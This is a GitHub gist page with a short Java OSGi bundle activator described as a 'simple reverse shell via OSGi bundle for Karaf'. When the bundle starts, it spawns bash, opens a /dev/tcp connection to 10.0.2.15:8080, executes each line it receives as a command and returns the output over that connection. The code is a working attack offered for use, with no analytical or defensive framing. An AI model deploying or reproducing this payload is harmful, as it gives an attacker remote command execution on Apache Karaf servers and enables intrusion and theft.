Skip to content

Instantly share code, notes, and snippets.

@GeneralTesler
Last active December 6, 2019 03:46
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save GeneralTesler/b43358bf6b8c4c9fefb4d16fa4449f81 to your computer and use it in GitHub Desktop.
Save GeneralTesler/b43358bf6b8c4c9fefb4d16fa4449f81 to your computer and use it in GitHub Desktop.
simple reverse shell via OSGi bundle for Karaf
package com.demo.exec;
import org.osgi.framework.BundleActivator;
import org.osgi.framework.BundleContext;
import java.lang.*;
public class ExecActivator implements BundleActivator {
@Override
public void start(BundleContext bundleContext) throws Exception {
System.out.println("STARTING");
ProcessBuilder pb = new ProcessBuilder("/bin/bash","-c","exec 5<>/dev/tcp/10.0.2.15/8080;cat <&5 | while read line; do $line 2>&5 >&5; done");
Process proc = pb.start();
}
@Override
public void stop(BundleContext bundleContext) throws Exception {
System.out.println("STOPPING");
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment